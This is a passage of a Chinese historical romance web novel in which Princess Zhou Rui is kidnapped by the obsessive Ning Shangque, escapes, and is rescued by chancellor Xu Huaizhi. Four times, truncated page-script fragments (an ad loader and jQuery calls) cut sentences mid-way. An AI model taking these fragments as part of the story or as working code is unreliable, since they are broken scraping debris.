更何况宁熵雀是静安郡主的庶弟,她与静安向来不对付,连带着宁熵雀在她这儿,都显得黯淡了几分。
索性后来她便断了与宁熵雀的往来。
方才见他言辞毫不掩饰,就连神色都如此直白露骨,周芮顿时便想明白了个中关键。
于是,她压下心中烦闷,问道:“你想如何?”
宁熵雀不答反问,“公主可曾心悦过我?”
饶是从未接触过男女之事的青雉眼下也明白了宁熵雀此举何为,电光火石之间,她骤然想到了法子脱困,目光灼灼的看向周芮。
但周芮,斩钉截铁的道:“不曾。”
青雉:……
她恨铁不成钢的眼神并未被周芮察觉,反倒是宁熵雀悠然的瞧了她一眼,看向周芮时,目光粼粼,并不恼怒,“可我想公主心悦我。”
第一次在互市遇见时,他便是如此想的了。
想要那双潋滟的杏眸中只有他的影子,想要她的心,想要她爱他,甚至为他……去死。
光是这般想着,宁熵雀便呼吸急促,面色含春,仿佛受到了极大的慰藉。
周芮避开他犯病的目光。
求着让她心悦的人无数,宁熵雀之言,并未令周芮侧目。
青雉悄无声息的握住周芮的小指,狠狠一捏。
殿下,咱们现在是翁中鳖,将计就计才能脱困啊!
周芮只当青雉害怕,步子往前挪了一步,挡在她身前,毫不顾忌宁熵雀的心情,甚至专往他的心口戳去,“本宫不喜欢瘸子。”
宁熵雀低笑一声,似是无尽缠绵,若不是周芮怒目而视,还以为是什么痴男怨女正在互诉衷肠。
宁熵雀捏着指尖,感受着先前在女子衣袖上留下的余温,笑道:“去年殿下与我湖中对饮时,可不是这副不近人情的模样。”
“你说,我的眼睛最好看,你很喜欢。”
“你还抚过我这双残腿,说就算我身有残缺,也是京中最独一无二的颜色。”
他歪头看她,眸中笑意未减,“殿下都忘了?”
青雉在她身后死命戳着她的腰,饶是周芮再迟钝此番也明白了青雉的暗示,更何况宁熵雀现下变了脸色,神情阴骘,连表面的和睦都丢弃了。
她将欲要直言的话掉了个转,委婉道:“没有,只是本宫现下自身难保,自然没工夫去想情爱之事。”
“是吗?那殿下昨夜去了哪儿?”
话音落下,周芮与青雉同时怔住。
“我知晓殿下入幕之宾众多,昨夜就当殿下与之告别,从今往后,殿下就只能守着我一人了。”
“放心,我会让殿下高兴的。”
少年身形纤弱,嘴角牵起的弧度却因姿容昳丽而无端显出几分绚丽。
这等厥词也是他能说出口的!
不等周芮发难,宁熵雀似是极其了解她一般,抬手一挥,周遭的侍从顿时上前将周芮绑了起来。
先前替宁熵雀擦手的绢帕捏成一团塞入了她的嘴里。
周芮呜咽怒瞪,她那三脚猫的功夫在众多人前根本使不出来!
周芮被双手反剪,按在了宁熵雀面前,鼻尖隐隐能闻到少年身上淡淡的药草气味,又涩又苦。
他愉悦的抬手掐了一把周芮柔嫩的脸蛋,“现下上京并不安稳
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
,殿下难道不想活着吗?”
回应他的,是周芮断断续续的呜咽,与此起彼伏的胸脯。
不难想象,若将这绢帕拿开,迎接他的将会是多少质问与谩骂。
“带去马车上,别伤着了。”
“是,公子。”
宁熵雀嘴角上扬,目光看向一旁同样被人桎梏的青雉,“将她也一并带上,免得殿下身边没有得心的人,到时候再和本公子闹脾气。”
“那……公子,府中的其他人……”
宁熵雀这才想起府里的下人,“啊,要不烧了吧?你觉得呢?”
“小的遵命!”
周芮被迫上了宁家马车,不过片刻,青雉亦被人反绑堵嘴,扔了上来。
周芮怒目而视,但青雉知晓,殿下的怒火是对着外边那人的。
当她察觉此事因殿下情债未了而起后,已经麻木,眼下见周芮气没了理智,只能摇头安抚,示意她不要妄动。
此时,外面传来了声响。
宁熵雀嘴角含笑,心情不错的转动轮椅从府中出来,车帐还未放下,他一眼便瞧见被扔在马车内的周芮疯了一般的挣扎,连脑袋磕在木板上仍旧不管不顾的想要逃走。
宁熵雀看了许久,眸中毫无波澜。
直到周芮自个儿没了力气,奄奄一息的倒下后,他才缓慢的来到马车前,“殿下就这般不愿跟我走啊……”
对上周芮屈辱愤恨的眸子,宁熵雀并不着恼,反而抬手缓慢的放下车帐,将周芮的目光彻底阻隔在了马车内。
一滴泪从眼尾落下,周芮眼前浮过种种前尘,如走马观花般,最终定格在晨光熹微时,徐淮止淡漠清泠的眼神中。
那时她若能求得庇护,是不是现下便不会如此被动,让人主宰生死了?
她狠狠的闭上眼,平复着心绪。
方才是她十八年来第一次这般无能为力。
没有身份权势,当她只是周芮时,原来如此不堪一击。
眼下还不知宁熵雀要带她去哪儿。
如今她能指望的,便只有赵家。
在漫天的火光中,马车摇晃,渐渐驶离上京。
周遭喧闹尽散,只剩下车轮压过石子枯枝的声响。
马车外,侍从的窃窃私语随着风声从缝隙中钻了进来。
“欸,我之前听侯爷说,宁王有意送昭和公主去北朝和亲来着。”
“啊?这事儿公子知道吗?要是坏了宁王大计,公子倒是没事,咱们这些人……”
“行了,我说给你是让你心中有点数,坏了宁王大计咱们是不好过,可公子难道就是个好相与的主儿?事到如今,咱们还有得选不成。”
青雉眸底震惊,忽的看向周芮。
女子衣衫紊乱,狼狈不堪,可艳丽卓绝的容色与娇养长大的气度未失半分。
和亲二字对一个公主而言,是使命,也是不幸。
周帝子嗣稀少,大周也只一个昭和公主。
若周帝不曾重病,太子不曾痴傻,甚至皇后娘娘不曾青灯古佛,哪怕城破,公主也绝不会落到和亲的下场。
但凡曾经见过公主荣宠最盛之时的人都知晓,她于圣上于太子而言,有多重要。
可眼下……
青雉骤然觉着她有些可怜。
5. 第5章
朝中上下,现今由皇长子梁王与三子宁王共同监国。
每日上朝便是双方势力唇枪舌战的战场,下朝后更是斗的你来我往。
金銮殿上,龙椅空置,沥粉贴金云龙巨柱旁端站着内务府大监,垂目颔首,静止不动。
下方百官之首的二人沉默不语,兀自听着官员争闹不休。
吏部尚书宋晁面红耳赤,言之凿凿,“大明寺春祭是大周开朝以来惯有的习俗,历年来都是黎王主持,今年凭什么不行?”
“黎王之所以历年主持是圣上口谕,今年圣上病重,没有下旨,黎王若是去了,陛下醒来臣无法交代。”
“你分明是拿陛下当借口!”
“宋大人想多了。”
……
二人你来我往,大约吵了一刻钟,直至口干舌燥之时,王太傅才上前道:“二位大人稍安勿躁,春祭一事,事关大周今年能否风调雨顺,仓箱可期,所以此事可容后再议,不急一时。”
眼见二人又要拿往日说事,王太明连忙看向一旁双手拢袖,闭目养神的男子,“徐相以为呢?”
朝堂上争执之声骤然消散,众人眼观鼻鼻观心,但无一列外都竖起耳朵,想听听徐淮止能说出个什么来。
现下局势微妙,徐淮止俨然不曾走向任何一方。
若换做旁人,哪能这般老神在在的站在朝堂之上做个看客,早就被两派党羽要么针对要么拉拢了。
也就是徐淮止近年来声名大噪,受百姓拥戴,高坐丞相之位不说,前些年春闱下放的诸多父母官也几乎都是经由他的手,才令他如今权势滔天,贵不可言,无人敢轻易动他。
更重要的是,他深受圣人宠信,谁也不知他手上握着什么底牌。
否则就以他软硬不吃的性子,早就暗地里被人捏住命脉了。
徐淮止摩挲着官袖,不知道他们在吵些什么,春祭一事,本就只是个节气由头,为的是安抚百姓顺应民心。
难不成谁去春祭,谁便能当皇帝不成?
简直可笑。
他懒散的掀起眼皮瞧了一眼王太明,“本官觉着,时辰不早了,黎王与宁王既都想为大周出一份力,那春祭与禹州水患一事便交由二位了。”
春祭是搏名声的好事儿,只需去大明寺走一走,便能得民心。
但禹州水患就是个硬茬,不是一时半会便能解决的,吃力不讨好的事儿,谁愿意去?
徐淮止瞧了一眼众人的神色,心下冷笑,面上却恭敬道:“下官觉着,禹州百姓如今正在水深火热之中,正需要一位民心所向的王爷前去坐镇,令百姓安心。所以臣觉着平了水患回来后,再去春祭,更能令百姓安稳顺心,各位觉着呢?”
众官面面相觑,两方都在思索,无人敢冒这个头。
终于清净了一些,徐淮止阖上眼,继续养神。
接下来的一个时辰,再无人争吵,便是小有争执,也不会有人闹到徐淮止那里去,就怕一言不合他又想出什么‘好’法子令他们不知如何应对。
散朝后,官员成群结队的离开金銮殿。
太傅上前叫住徐淮止,余光不动声色的划过他下颌处的血痕,“淮止,我那儿新得了些好茶,你若无事,不妨去我府中坐坐?”
王太明是当朝太傅,发丝花白,满脸是褶,他年岁已高,可身子骨却硬朗的很,只是这性子,老奸巨猾,哪有半点文人之气。
这番说辞,自皇上病重以来,几乎每日如此。
徐淮止侧身看去,委婉道:“我今日确有要事。”
王太明盯着他的下颌,心下虽遗憾,但也知晓不光是他,黎王那边的人不也没在这位跟前,讨个好吗?
只是不知向来不近女色的徐淮止,下颌处怎会有女子挠痕。
拿被指尖划过的痕迹他绝不会认错,只是不知那女子是宁王的人,还是黎王这边的人?
王太明不动声色的扬起嘴角,了然一笑,“明白,哈哈哈明白,那我便不打扰徐相的雅兴了。”
待人走后,徐淮止眼底才闪过一丝疑惑。
方才王太明盯着他看什么?
正欲转身,徐淮止蓦然想起什么,神情一凛,顿时抬手,指尖抚过下颌,肌肤上的血痕早已干涸,留下一道略微凸起的印记。
他眸中晦暗不明,回想起这血痕是怎么来的,眉间隐隐烦闷。
-
西街不似东街繁华,住在这里的多是一些穷苦百姓。
但此地离皇宫甚远,徐淮止每日一来一回,便要耗费诸多时辰。
顺玉不止一次苦口婆心的劝过,想要徐淮止与其他大人一般住在皇城脚下,可他一身犟骨,就不是个听劝的人。
马车抵达西街时,烈阳当空,已过午时。
二人停在一处馄饨摊前,顺玉高喊,“老板,来两碗馄饨,一碗不要花椒。”
徐淮止官袍未脱,与顺玉在老木桌前对坐,周遭百姓隐隐抬眸看来,但却不敢近身打扰。
唯有一七岁乞儿,在二人放下银子起身欲走时,小跑着过去,端着破碗,眼巴巴的道:“大善人,施舍些吃食吧?”
徐淮止瞧了一眼顺玉,顺玉心领神会,转身去要了一碗馄饨。
乞儿顿时眉开眼笑,感激之色一览无余,他上前一步握住徐淮止的手,脏兮兮的小脸上神采奕奕。
徐淮止赫然怔住,待他走后,顺玉回身惊讶道:“那小孩儿人呢?”
徐淮止沉着眸子,低头摊开掌心,上面赫然躺着一张薄纸,隐隐能透过光看清上面的墨字。
让乞儿送信?
他攥着掌心,疾步向着马车走去。
顺玉面色凝重的跟在他身后,一言不发的翻身上马,驱马离开。
此时四下无人,马车晃动中,徐淮止才缓慢的展开信纸,一眼扫过。
半晌后,嘲讽涌至眼底,他冷笑出声,“赵家这出戏,竟还没唱完吗?”
-
落叶无声,自墙外飘零至院中,长靴擦过叶脉,徐淮止停在院中唯一的梅树下,看了一眼枝上余留的红蕊,掌心的信纸早已捏成一团。
他兀自问道:“顺玉,是本官平日里太过和气,才让他们以为本官好糊弄?”
顺玉虽不知发生了什么,但听此已然知晓大人生气了,于是斟酌道:“属下以为,是该给他们点颜色瞧瞧。”
徐淮止回头看他,“赵家在信上邀我今日去府中赏花。”
顺玉目瞪口呆,“殿下没将大人拒绝一事告诉赵家?”
徐淮止咽下心中气闷,转身朝着屋内走去,“罢了。”
他没那么多心思与他们计较。
屋内香气早已散尽,徐淮止坐在桌前,拿起昨日未曾看完的书册。
顺玉进来奉茶,余光瞧见早晨没来得及收拾的床铺,不动声色的往床边走去。
先前宅子里有一个婆子照顾大人起居,但昨夜大人中药后,那婆子便被他制住了,本
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
想由此撬开下药之人的身份,可眼下赵家浮现,并未否认,那婆子也就没用了。
宅子里现下就他与大人两人,这般琐事总不能让大人来做。
徐淮止没有注意到顺玉行事,他一手撑着额角,漫不经心的扫过书册上的字迹。
心中纷扰尽断,宁愿悠远。
可不过半晌,顺玉突然高声道:“大人!”
徐淮止蹙眉,放下书册回身看去,一根细长精致的珍珠发钗被顺玉捏在手里。
顺玉手足无措道:“这……应当是昭和公主的物件儿,我在枕下看见的,咱……要不要还回去?”
徐淮止蓦的阖眼,心力交瘁。
自昨夜后,周芮此人便像是无处不在,频频乱他心神!
脑中再次浮现出周芮离去时的身影,昨夜之事他虽没有印象,但那薄纱之下的点点殷红,却在昭然诉说着,他行事有多出格癫狂。
自及冠后,徐淮止遇事向来冷静从容,鲜少会心绪嘈杂紊乱。
眼下平静的日子被人悄然打破,他总归是要去讨个说法的!
“拿来。”
顺玉将珠钗递给他。
徐淮止垂目细细打量,珠钗样式简单,由五粒粉白珍珠制成花瓣样式,胜在精巧。
钗子上余香未散,香气涌入鼻中,徐淮止冷着脸起身,“本官倒要看看,赵家的花,有多了不得!”
-
徐淮止走进赵家时,赵老太爷正在院儿中逗鸟饮茶。
他穿过回廊,随着下人行至望舒院,鸟雀高歌,花草丛生,仿若在府中建了一处山水美景。
赵老太爷已年近六十,往年在朝中德高望重的太师,如今却要下人搀扶才能拄拐前行。
徐淮止怒意消散几分,揖礼温和道:“徐淮止见过赵太师。”
赵穹正喂着鹦哥,闻言,回头看去。
男子身姿挺拔,弯腰揖礼,虽离的有些远瞧不真切,但面容与气度定然不俗。
想起他并不是清流世家,入仕前不曾有家世傍身,却仍旧年纪轻轻便坐上了许多人一辈子都坐不上的位置,这般众矢之的下还能在混乱时局里独善其身,不知该说他手段了得,还是该夸圣上,慧眼识珠。
于赵穹而言,倒不是丞相之位有多矜贵,而是徐淮止……
太过年轻。
大周开国以来,他是先例。
回过神后,赵穹和蔼的拄拐行至徐淮止身边,亲自将人扶正,笑道:“老夫早已不是什么太师了,徐相不必多礼。”
徐淮止虽恼赵家,但赵太师于国有功,当年辅佐皇上治天下时,他还在凉城那处地方寒窗苦读。
诸多利国利民之策,都隐隐能见赵太师手笔。
如今见了赵穹,徐淮止虽恼,但更多的却是敬意。
看着满庭的海棠,他不欲与赵家纠缠,直言不讳道:“赵师府中的花我已见过,但我向来不喜欢花,更不喜艳丽太过的花,恐要辜负赵师一番美意。”
“徐相还未见到花,怎知自己不喜?”
顺着赵穹的目光看去,不远处的水榭楼阁外种着一片与府院景色并不相映的水甘草。
赵穹:“那是阿芮曾在府中种下的,说是钦慕之人喜欢,水甘草随处可见,她却偏偏要种在家中睹物思人,京中权贵家适龄的公子我都差人打听过……”
话音一顿,赵穹问:“徐相,你觉着究竟是哪家公子喜欢这样的花草,又是谁令阿芮痴慕多年?”
6. 第6章
徐淮止收回目光,不动声色道:“赵师家中的花自然比旁人的花矜贵许多,不是淮止能妄言的。”
此花非彼花。
他三番两次的将话说的这般直白,赵穹若再听不出徐淮止的意有所指,便过于刻意了。
他苦笑道:“是老夫惭愧,让你见笑了。”
不辩解、不推脱。
徐淮止便是还有三分恼意,也早已消散,因他没曾向赵穹会是此番态度。
想起王太明三番两次的执着不休,赵穹行事虽过激,却也利落。
赵穹掩去眸中苦楚,拄着拐杖往后退了一步,本就弯曲的脊梁再次往下了几分,那头银白的长丝里不见一根黑发,“是我赵家行事不妥,还望——”
徐淮止蓦的制止。
对上赵穹看来的浑浊双眼,徐淮止还有什么不明白的,心中苦笑连连。
他沉沉的吐出一口气,揖礼道:“太师严重了,是我行事无礼在先,淮止有愧。”
赵穹叹气,随之失望道:“昭和那丫头就是被宠的太过骄纵,此事她也有错。”
他声音一顿,又继续道:“但请你看在今日公主府走水,那丫头生死不明的份上,原谅她这一遭。”
公主府走水?
徐淮止拧眉而视,似有不解。
无缘无故的,怎会走水?
赵穹抿唇沉吟片刻,才沉声道:“据老夫派去的人回来说,辰时广义侯府的小公子出现在公主府,没过多久便起了场火。”
“府中下人死的死,伤的伤,但没有瞧见阿芮和青雉的身影,老夫怀疑是宁小公子将阿芮带走了。”
徐淮止沉默一瞬,顿时明了,“赵师放心,殿下吉人自有天相,定会平安回京的。”
赵穹对上他云淡风轻,不骄不躁的目光,露出一丝真心的笑意,“有徐相这句话,老夫便放心了。”
“……那药”
徐淮止踏入回廊,脚步未停,但赵穹的声音却一字不落的随风传入耳畔,“阿芮并不知晓。”
男子身影逐渐消失在回廊尽头。
一旁的木门打开,赵亦翀自屋内出来,行至赵穹身旁,担忧道:“父亲,徐淮止会去救昭和吗?”
“他会。”
“父亲如此笃定?”赵亦翀蹙眉。
老人哀叹一声,“你以为他不知晓我什么心思?以退为进,也要看对方想不想让我进。”
“父亲的意思是,他明明知晓您在算计他,仍旧应了?”
赵亦翀不明白,“既如此,他为何不一早答应?这样昭和也不会被宁家那小子带走。”
赵穹回身继续喂鹦哥,“早答应?是个人都有脾性,何况是徐淮止?他年纪尚轻便登朝拜相,你想想,若是你在二十七的年纪坐上那个位置,你恐怕狂的连我这个父亲都不会放在眼里了。”
“父亲说的哪里话。”赵亦翀讪笑连连。
“更何况咱们算计他,本就没有遮掩,今早他将阿芮拒之门外也在我意料之中。”
赵穹想起方才所见,便愈加感慨,“我先前说过,他那人清廉正直,心肠最硬也最软,端看怎么拿捏尺度。无论阿芮名声几何,是不是赵家算计,他心中总是有愧,先前因怒火扰了心绪,所以才拒了赵家。”
赵亦翀怔住,“所以您方才只是勾出他心中的愧,令他为您所用?”
“他不会为我所用。”赵穹坐在亭中,望向远山,“此次待他救出阿芮,便会与赵家做个了断。”
“那该怎么办?”
赵亦翀对上赵穹恨铁不成钢的眼神,心虚的垂头。
“知晓我为何不让你去拦下阿芮回府的马车,任她被人带走吗?”
赵穹语重心长道:“翀儿,朝堂之中,除了明白帝心以外,更重要的,是看透人心。”
“父亲教训的是。”赵亦翀忍下心中羞恼,“所以咱们接下来要怎么办?”
“等。”
他心中不明,但也不敢再问。
赵穹眉目幽静,望向远山。
等高枝上的琼花察觉大雨倾盆,自己也不过沧海一粟。
等她自愿弯下枝头,对檐下看花之人展露姹紫嫣红。
到那时,任他礁石冰川,孤鹤青山,亦会动容。
-
溪水潺涓,树影斑驳,马车从山涧穿过,片刻不曾停留。
马车内,麻绳散落一地。
青雉将薄如蝉翼的刀插入竹钗中,重新挽起墨发,看向周芮,“殿下,咱们得想法子逃走。”
周芮揉着酸涩的手腕,心中将宁熵雀骂了千百遍,神色恹恹,“除了跳马车,还能怎么走?”
“直接跳自然是不行。”青雉呼出一口气,“宁公子想要的是殿下,所以我与殿下换身衣裳,将他们引走,然后殿下再趁机离开。”
周芮垂目沉思,拇指摩挲腕上的红印。
“这个办法虽行,但你若是被他们抓住了呢?”
“殿下放心,若我被抓住最多就是吃点苦头,只要殿下能逃走,我便不会有性命之忧。”
对上青雉信誓旦旦的目光,周芮也不知晓她的自信从何而来。
方才她也瞧见了,宁熵雀就是个疯子,一言不合便要杀人的。
更何况……
“你我身形不同,模样也不一样,宁熵雀又不是个傻的。”
周芮皱眉,“他如此喜欢我,喜欢到不惜忤逆宁王,金屋藏娇,怎会认不出你我的区别?”
模样不同她认,毕竟上京能比周芮容色更盛,可身形不同?
青雉蹙眉打量着周芮,论高矮胖瘦,周芮也不过比她丰盈些罢了,这算什么不同?
对上周芮嫌弃不满的目光,青雉也低头看了一眼,顿时明白自来挑剔的公主话中之意,她蓦的横眉愠怒,“殿下!此时不是你斤斤计较的时候!”
“你凶什么,本宫又不是不应。”
周芮褪下衣衫,不满的催促,“还等什么,脱吧。”
青雉遥遥一叹,比从前在赵家受训时,还要心累,颓然道:“是。”
马车疾驰如风,由宁熵雀带头,身后跟着共二十多个侍从,皆是上京个顶个好手。
山路蜿蜒难走,但却可以躲过官道的巡查,安稳许多。
“都打起精神来,最近这山中有马匪出没,别不小心着了他们的道。
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
”
话音刚落,马车内顿时跃出一道身影,粉白襦裙一闪而过,女子落地起身,干净利落,头也不回的朝着来时的路逃走。
那人惊骇,脸色煞白,“公主逃了,公主逃了!”
另一辆马车的帘幕骤然被人掀开,宁熵雀一眼便瞧见了不远处的身影,眸底惊涛骇浪化为实质,嘴角勾出一抹瘆人的笑,“都愣着做什么,抓住她!”
“谁抓到她,本公子赏银千两!”
马蹄声渐起,无人再管停在山道中的马车,尘沙飞扬,皆绕过马车远去。
不知过了多久,帷帐被掀开一条小缝,周芮一身绿衫,自马车上跳下,头也不回的朝着前方跑去。
-
霞光漫天,夕阳即将消散,周芮依旧没找到回去的路。
山中树木茂盛,没有地质图不甚熟悉者入山,极易迷路。
她一瘸一拐的走着,不曾休息片刻。
不知走了多久,她总算在路上瞧见了两个人。
周芮眼底光芒大作,可刚向前两步,她便察觉到那二人衣着朴素,握着大刀,模样硬朗凶悍,俨然不是寻常人。
周芮心中惴惴,想起先前在马车上听到宁熵雀的人说起马匪。
她总不能这般倒霉,找不到路便算了,还阴差阳错的遇上这些人……
脚步愈见近了,周遭却并没有能遮掩身形的地方,她急的快哭了。
眼瞧着两人步履加快,朝着她走来,周芮咬着唇,不管不顾的抄起地上的泥往脸上抹去,既躲不过,便将自己弄丑些!
白嫩的掌心几乎挂满了淤泥,可临了到了鼻尖,腥臭的味道一股脑的涌上,周芮咬碎了一口银牙,手却无论如何都前进不了半分。
“呕……”
不行,她做不到,太脏了!
还是想别的法子吧。
于此同时,二人行至周芮身边,脸上是毫不掩饰的警惕,正欲开口之时,对上周芮看来的目光,二人顿时怔住,眸底涌出明晃晃的惊艳。
不能慌,不能慌……
周芮掐着指尖,眸色一冷,厉声道:“放肆!再敢如此盯着本宫,信不信本宫挖了你们的眼!”
她声音抖的厉害,但二人并未发觉。
待回过神来时,他们眸中的痴迷尚未褪去,便已然下意识的琢磨起周芮的身份。
其中一人笑道:“我们二人只是觉得姑娘面生,才多看了一眼,姑娘误会了。”
“是啊,不知姑娘可是从京城过来的?要去哪儿啊?”
周芮不动声色的握着青雉留给她的那把小刀,面上却嚣张的冷哼道:“你们是什么身份?本宫想去哪儿,轮得到你们过问?”
“不知姑娘的身份是……”
那二人眼底闪过一丝暗光,周芮咬了一下舌尖,稳住已经隐隐发颤的身子。
她现下只能祈祷用身份吓退他们,若她此时露怯,便就真成了猎户盯上的兔子,逃脱无门。
周芮口中血腥蔓延,她抬起下颚,高声道:“听好了,本宫是——”
“夫人!”
身后突兀的出现一道冷沉的声音,周芮瞬间回头看去。
7. 第7章
男子紫衣官袍未退,只身一人策马而来。
周芮从未觉着那双温和却又不失威严的眉眼如此顺眼过。
徐淮止翻身利落下马,行至周芮身边,动作熟稔的将她揽入怀中。
血腥气被冷凛的松香驱散,周芮靠在他硬朗却温暖的怀里时,仍旧没有回过神来。
徐淮止,为何在这儿?
直到耳边那道熟悉的声音,如暖风清泉将她拉回去,强劲有力的心跳,缓缓拂去她心中畏惧,她才听见徐淮止面不改色的说:“二位兄台,这是我家夫人,与我闹了脾气才跑出来,方才无礼之处,还请二位莫怪。”
“你夫人?”那人明显不信。
周芮顺势抬头想要追问,刚瞧见他下颌处已然结痂的血痕时,一只修长白皙的大手轻轻将她的脑袋又往怀中按了两分。
胸膛微微震动,“怎么,不信?”
“她若是你夫人,刚才为何要自称本宫?”
周芮闻言,略显紧张的揪住他的官袍。
她现下受了伤,徐淮止又不会武功,若脱不开身,他们的下场依然不会好到哪里去。
徐淮止低头瞧了一眼周芮正在作孽的手,漫不经心的抬头时,声音冷如腊月寒雪,“本官劝二位还是少打听的好,皇家秘辛知晓的太多,对你们应当也没有好处。”
方才他们便注意到突然出现这人穿着官袍。
大周三品以上的官员才能着紫色官袍,更何况这人瞧着清秀文弱,可气势威严,从容冷静,想来也不是什么无关紧要的小人物。
二人面面相觑,正在斟酌之际,徐淮止突然低头,无奈哄道:“你说你,不就是根钗子嘛,发这么大脾气。”
说着,他便从怀里拿出一根精巧的五瓣珍珠发钗,“瞧瞧,给你买来了,喜欢吗?”
这不是……
周芮怔住,伸手接过。
徐淮止笑道:“怎么,高兴的说不出话了?”
横在她腰肢上的大手轻柔的点在她的腰窝。
隔着衣衫,温热软糯的触感依旧清晰,徐淮止觉得指尖似乎有些发烫,掌心不动声色的往后挪了一分,虚揽着怀中的女子。
周芮恍惚抬眸,对上徐淮止眼里骤显的暗光。
她立马回神,贝齿轻轻咬了一口嫣红的唇瓣,手中捏着珠钗,虽不满但妥协:“行吧,看在你追到这里来的份上,这次便原谅你了。”
徐淮止闻言,勉强露出一抹浅笑。
周芮翘着嘴角,一头扎进他怀中,抬手将珠钗对着光晕转动,俨然喜欢的紧。
徐淮止抬头看向二人之时,已不见方才的凛凛寒意,温和颔首,“若无其他事,本官便带内子先走一步。”
他揽着周芮从容转身,周芮不安道:“他们会不会追上来。”
“不会。”
既是马匪,便知晓见官绕道走的道理。
若不止是马匪……
徐淮止眼底闪过一道暗光。
待周芮上了马后,才翻身上去,将人圈在怀中,握住缰绳,驱马离开。
风声呼啸,刮的脸生疼。
可更疼的却是腿。
先前她从宁熵雀手里逃走后不幸从坡上掉下去,摔伤了腿,方才她又咬牙站了那般久,眼下已经疼的她动弹不得。
她颤声道:“徐淮止……”
夕阳落山,暮色微现,此处已离去甚远,马儿却丝毫未有停下的意思。
徐淮止深知公主脾性,以为她要为方才之事发难,面不改色的道:“殿下,事急从权,臣不会武,无法将殿下平安带离,只能用些别的法子,还望殿下莫要怪罪。”
周芮压根没听清他说了什么,就算听清她也不在意,眼下,她最担心的是她的腿。
周芮面色煞白,艰涩的从唇中挤出音来,“我伤了腿,很疼……”
徐淮止闻言微愣,想起方才周芮着实一直靠在他怀中,不曾移开半分。
目光不由得落在她被长裙遮住的双腿上。
片刻后,徐淮止移开眼,勒马停下。
周芮极重的呼出一口气,脊背冷汗密布,此时才仿若活了过来。
腿上的伤并不算严重,至少在徐淮止看来是这样。
食指长短的血痕印在破损后的雪白底裤上,看伤痕应当是被什么东西剐蹭到。
只是看周芮疼的面上汗涔涔的,不知该说她娇气到连这点痛都忍不住,还是她故意如此,求他怜惜。
忽然间,徐淮止便想起方才在赵家的所见所闻——
“那是阿芮曾在府中种下的,说是钦慕之人喜欢,水甘草随处可见,她却偏偏要种在家中睹物思人,京中权贵我都差人打听过,徐相,你觉着究竟是哪家公子喜欢这样的花草,又是谁令阿芮痴慕多年?”
水甘草于京中权贵而言是杂草,若是被管事的瞧见了,府中负责打理花草的下人则会遭罚。
没有贵族会喜欢穷苦人家当成宝的东西。
除非那人自小孤苦,不似君子好梅兰,偏爱这长在农家院子里的水甘草。
“我与你说话呢。”
因着疼痛难忍,周芮此时没了嚣张跋扈的气焰,含着雾气的双眸好不委屈的盯着他。
徐淮止沉默一瞬,“殿下不能忍忍吗?”
周芮有一瞬怀疑自己是听错了。
可腿上的疼让她发不出火来,只能细声细气的反驳,“……不能,我疼。”
她眼巴巴的看着他,仿佛他是什么救命良药,只要一声令下,就能立马替她止疼似的。
可也是这样的眼神令徐淮止有些许意外。
昭和公主何曾低过头。
就连算计他,都是趾高气扬,一副他占了天大便宜的模样。
可是如今,那双高高在上的双眸却湿漉漉的看着他。
“那殿下想如何?”
她想如何?
她自然想徐淮止立马将御医从宫中调来,再将她的公主轿辇抬过来送她回去。
可这些,他做不到。
或者说,他不会为了她做出这样出格的事情。
“你背着我走吧。”
有一瞬,周芮觉着徐淮止看她的眼神像是在看什么笑话。
方才还稍显平和的男人突然便起了身,让周芮觉着他似乎想将她这个累赘丢下。
他说:“若殿下喜欢这处,那臣便回宫请奏,让殿下的公主府迁移过来如何?”
周芮不明白,只是让他背着她走,徐淮止为何这般抗拒?
“你方才抱着我的时候分明不是这样的,我腿疼,你背着我不会像马儿那般晃,我就不疼了。”
见徐淮止沉默不语,周芮难以置信,“这样也不行吗?”
再一次,周芮见识到了他的骨头有多硬。
二人无声对视半晌。
周芮忽然撑着石头起身,咬牙忍着疼,一瘸一拐的转身离开。
雪白的长裤彻底被鲜血染红。
与方才哼哼唧唧喊疼不同,少女一声不吭的往前走着,尽管很慢,可她也固执的挪动着。
从背后看去,向来柔顺的墨发不知
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
何时夹了几根枯草,身上的衣物沾染了不少泥点,就连那双细白的手,每撑过一棵树,枝干上必会留下一道浅浅的泥印。
她何时狼狈至此。
到底是大周公主,无论是为人臣还是应承过赵家,徐淮止都不会在此时将这位娇生惯养的公主抛下。
但让他背她,也绝无可能!
周芮不知晓自己走了多久,直到两眼昏花,额头的汗珠落下,扎的眼睛生疼时,她才听见身后传来徐淮止的声音,“殿下这双腿是不想要了吗?”
并不算安抚的话,却让周芮在瞬间红了眼眶。
这段时日来受的委屈悉数上涌,凝聚成眼泪,大颗大颗的从眼中落下。
她是公主,皇宫是她的家,可黎王将她挡在家门外,不让她见父皇母后。
她的胞弟还在宫里关着,可所有的亲兵都被黎王寻借口调走了。
上京世家曾经有多少恭维她的,如今便有多少人想看她笑话,盼她堕入地狱,盼她也有一日能匍匐在他们脚下,向他们摇尾乞怜。
这些她都挺过来了,她绝不会让人看她的笑话!
可是今日,她已经记不得是第几回在徐淮止面前丢了自尊。
周芮不自觉的咬紧牙关,不想让徐淮止以为她是因为他来寻她,才哭了。
真丢脸。
可越是想忍,那股泪意便越是汹涌。
周芮不小心呜咽出声。
羞恼与委屈交织在一起,她不受控制的抽噎,身子不停颤抖。
拿着一把树枝走来的徐淮止脚步一顿,望着离他不过三步之遥的周芮,听她带着隐忍的哭腔,道:“转过去!不然本宫挖了你的眼睛。”
不知过了多久,周芮始终没有听见身后再传来动静。
渐渐平息后,她抽噎道:“徐淮止,你还在吗?”
“嗯,殿下哭好了?”
周芮想,她这辈子都会记住今日。
她的狼狈、脸面、尊严通通消失在了徐淮止面前,这与将她扒光扔在大街上并无区别。
更何况,这种时候他还在嘲讽她。
问她是不是哭好了。
周芮抬手抹去眼角最后的泪珠,提着裙角,继续往前走。
大不了便死在路上!但凡她能回到京城,她一定要扶持阿樾登基,让那些落井下石的人永无宁日!
届时,就拿徐淮止第一个开刀!
忽然,脚底好像生了根,再挪动不了一步。
